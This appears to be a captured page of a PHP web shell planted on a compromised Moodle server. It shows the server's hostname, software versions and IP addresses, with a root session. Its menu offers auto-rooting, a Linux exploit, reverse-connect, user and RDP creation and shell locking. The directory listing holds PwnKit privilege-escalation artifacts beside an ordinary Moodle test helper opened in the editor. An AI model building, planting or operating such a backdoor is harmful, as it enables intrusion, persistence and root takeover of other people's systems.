Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
rating /
classes /
phpunit /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
privacy_helper.php
5.06
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : privacy_helper.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Helpers for the core_rating subsystem implementation of privacy. * * @package core_rating * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_rating\phpunit; defined('MOODLE_INTERNAL') || die(); use \core_privacy\tests\request\content_writer; global $CFG; /** * Helpers for the core_rating subsystem implementation of privacy. * * @copyright 2018 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ trait privacy_helper { /** * Fetch all ratings on a subcontext. * * @param \context $context The context being stored. * @param array $subcontext The subcontext path to check. * @return array */ protected function get_ratings_on_subcontext(\context $context, array $subcontext) { $writer = \core_privacy\local\request\writer::with_context($context); return $writer->get_related_data($subcontext, 'rating'); } /** * Check that all included ratings belong to the specified user. * * @param int $userid The ID of the user being stored. * @param \context $context The context being stored. * @param array $subcontext The subcontext path to check. * @param string $component The component being stored. * @param string $ratingarea The rating area to store results for. * @param int $itemid The itemid to store. */ protected function assert_all_own_ratings_on_context( int $userid, \context $context, array $subcontext, $component, $ratingarea, $itemid ) { $writer = \core_privacy\local\request\writer::with_context($context); $rm = new \rating_manager(); $dbratings = $rm->get_all_ratings_for_item((object) [ 'context' => $context, 'component' => $component, 'ratingarea' => $ratingarea, 'itemid' => $itemid, ]); $exportedratings = $this->get_ratings_on_subcontext($context, $subcontext); foreach ($exportedratings as $ratingid => $rating) { $this->assertTrue(isset($dbratings[$ratingid])); $this->assertEquals($userid, $rating->author); $this->assert_rating_matches($dbratings[$ratingid], $rating); } foreach ($dbratings as $rating) { if ($rating->userid == $userid) { $this->assertEquals($rating->id, $ratingid); } } } /** * Check that all included ratings are valid. They may belong to any user. * * @param \context $context The context being stored. * @param array $subcontext The subcontext path to check. * @param string $component The component being stored. * @param string $ratingarea The rating area to store results for. * @param int $itemid The itemid to store. */ protected function assert_all_ratings_on_context(\context $context, array $subcontext, $component, $ratingarea, $itemid) { $writer = \core_privacy\local\request\writer::with_context($context); $rm = new \rating_manager(); $dbratings = $rm->get_all_ratings_for_item((object) [ 'context' => $context, 'component' => $component, 'ratingarea' => $ratingarea, 'itemid' => $itemid, ]); $exportedratings = $this->get_ratings_on_subcontext($context, $subcontext); foreach ($exportedratings as $ratingid => $rating) { $this->assertTrue(isset($dbratings[$ratingid])); $this->assert_rating_matches($dbratings[$ratingid], $rating); } foreach ($dbratings as $rating) { $this->assertTrue(isset($exportedratings[$rating->id])); } } /** * Assert that the rating matches. * * @param \stdClass $expected The expected rating structure * @param \stdClass $stored The actual rating structure */ protected function assert_rating_matches($expected, $stored) { $this->assertEquals($expected->rating, $stored->rating); $this->assertEquals($expected->userid, $stored->author); } }
Close